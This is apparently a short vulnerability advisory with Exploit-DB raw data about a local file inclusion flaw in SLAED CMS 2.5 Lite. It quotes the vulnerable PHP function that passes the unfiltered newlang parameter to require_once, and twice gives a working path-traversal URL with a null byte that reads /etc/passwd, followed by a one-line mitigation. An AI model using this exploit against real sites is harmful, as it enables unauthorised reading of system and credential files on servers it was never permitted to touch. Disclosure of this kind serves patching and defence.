SLAED CMS 2.5 Lite Local file inclusion

SLAED CMS 2.5 Lite is vulnerable to Local File Inclusion due to the lack of input validation. The newlang parameter in the index.php file is not filtered, so an attacker can use the exploit http://[targethost]/[path]/index.php?newlang=../../../../../../../../../../etc/passwd%00 to read the /etc/passwd file.

Mitigation:

Input validation should be implemented to prevent Local File Inclusion.

Exploit-DB raw data:

# SLAED CMS 2.5 Lite Local file inclusion

# Script url http://www.slaed.net/uploads/files/public/SLAED_CMS_2.5_Lite.zip

# Lets code in function/sources.php: 
 
780:  // Format language
781:  function get_lang($module="") {
782:	global $multilingual, $currentlang, $language, $user_cookie_t;
783:	if (isset($_REQUEST['newlang']) && $multilingual == "1") {
784:		if (file_exists("language/lang-".$_REQUEST['newlang'].".php")) {
785:			setcookie("lang", $_REQUEST['newlang'], time() + intval($user_cookie_t));
786:			require_once("language/lang-".$_REQUEST['newlang'].".php");
                        ...

And in index.php:
9:    require_once("function/function.php");
10:   get_lang();

# As you can see variable newlang is not filtered, so, if magic_quotes_gpc turned off, we can use exploit:

http://[targethost]/[path]/index.php?newlang=../../../../../../../../../../etc/passwd%00
